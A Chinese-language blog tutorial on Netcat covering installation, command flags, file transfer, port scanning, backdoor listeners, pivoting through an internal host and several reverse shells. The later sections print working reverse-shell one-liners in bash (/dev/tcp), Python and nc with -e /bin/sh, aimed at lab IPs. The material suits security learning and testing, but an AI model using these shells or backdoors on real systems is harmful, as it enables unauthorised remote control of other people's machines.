作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:神器使用篇
今日鸡汤:当你在夜晚孤军奋战时,漫天星光为你而闪烁
目录
一、介绍
二、安装
1.在Windows下安装
2.在kali下安装
三、基本使用
1.命令参数
2.会话连接
3.shell连接
编辑
4.文件传输
5.信息探测
6.建立后门
7.连接转发
8.反弹shell
Netcat简称nc,被誉为网安的“瑞士军刀”,是一款强大的网络命令行工具,其体积小巧、功能强大,用于建立主机间的TCP/UDP连接,并通过标准输入输出进行数据的读写,可实现端口监听、文件传输、建立后门、端口转发、shell反弹等功能;
下载地址:https://eternallybored.org/misc/netcat/
有两个版本可选择一个点击安装;
安装后解压即可使用,在nc.exe程序的目录打开cmd:nc.exe -l -p 9999,也可以将nc.exe所在目录添加到环境变量中再使用cmd:nc -l -p 9999,nc具体使用可用nc.exe -h查看使用说明;
在Linux中安装,kali一般自带nc,若无可使用安装命令安装:
安装命令:yum install nc
查看nc使用说明:nc -h
可执行nc -h命令查看netcat的命令参数
-d 脱离命令行,当命令行关闭后不会关闭nc,而在后台运行,常用于后面建立,如nc -l -p 9999 -d
-e 命令执行,常用于后面建立,如nc -l -p 9999 -e /bin/sh
-l 设置netcat处于监听状态等待连接,如nc -l -p 9999
-L 设置netcat处于监听状态等待连接,且当客户端断开后回到监听状态等待连接,如nc -L -p 9999
-n 只识别IP地址而不做DNS解析,如nc -l -p 9999 -n
-p 设置监听的端口号,如nc -l -p 9999
-r 设置随机监听端口号,如nc -l -r
-s 设置netcat源IP地址,用于隐藏服务端;
-u 设置netcat使用UDP模式,不指定u参数默认使用TCP;
-v 显示错误提示信息;
-w secs 设置连接超时秒数secs;
-z 设置netcat扫描模式,发送的数据包不含payload可加快速度缩短时间;
服务端为开启nc监听等待连接的一方,客户端为连接nc服务端的一方;
会话连接可使nc连接的双方进行交互,连接后输入内容回车即可发送消息;
服务端:nc -l -p 9999
客户端:nc 192.168.83.102 9999
192.168.83.102为服务端IP,9999为服务端开放的nc监听端口等待连接,客户端连接后,服务端和客户端可进行会话交互;
服务端的nc监听使用参数e指定shell,客户端连接后可获得服务端的shell执行命令;
服务端:nc -l -p 9999 -e /bin/sh
客户端:nc 192.168.83.102 9999
使用输出重定向>可实现nc传输文件;
客户端传输文件给服务端,将1.txt文件内容传输给服务端保存为flag.txt文件:
服务端:nc -l -p 9999 > flag.txt
客户端:nc 192.168.83.102 < 1.txt
也可以服务端向客户端传输文件,只需改变输出重定向>的方向即可:
服务端:nc -l -p 9999 < flag.txt
客户端:nc 192.168.83.102 > 1.txt
探测目标主机192.168.83.10的端口信息:
nc -n -v -w1 -z 192.168.83.10 1-1023
①监听型,客户端获取服务端的shell,与shell连接类似:
服务端:nc -l -p 9999 -e /bin/sh
客户端:nc 192.168.83.102 9999
②连接型,服务端获取客户端的shell,与shell连接类似:
服务端:nc -l -p 9999
客户端:nc 192.168.83.102 9999 -e /bin/sh
主机1与主机2处于同一网段,主机3为主机1的内网,主机2不能直接访问主机3但可以通过主机1间接访问主机3;
主机3:nc -l -p 9999
主机1:nc -l -p 7777 -e delay.bat,delay.bat内容:nc 主机3IP 9999
主机2:nc 主机1IP 7777
这样即可建立主机2与主机3的nc连接;
反弹shell,即客户端开启端口监听等待服务端连接,服务端连接后,客户端可获得服务端的shell;
①服务端安装了netcat时:
服务端:nc 192.168.83.102 9999 -e /bin/sh
客户端:nc -l -p 9999
②服务端没有安装netcat时:
服务端:bash -i >& /dev/tcp/192.168.83.102/9999 0>&1
客户端:nc -l -p 9999
③服务端无netcat,但有python时,
服务端:
# 需改为客户端的IP和端口
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.83.102",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
客户端:nc -l -p 9999
④服务端不支持-e参数时,
服务端:nc 192.168.83.102 9999 | /bin/sh | nc 192.168.83.102 7777
客户端:nc -lvp 9999,nc -lvp 7777
客户端开启两个监听端口,反弹shell后可实现:在9999端口的nc中输入命令,执行结果返回在7777端口的nc中;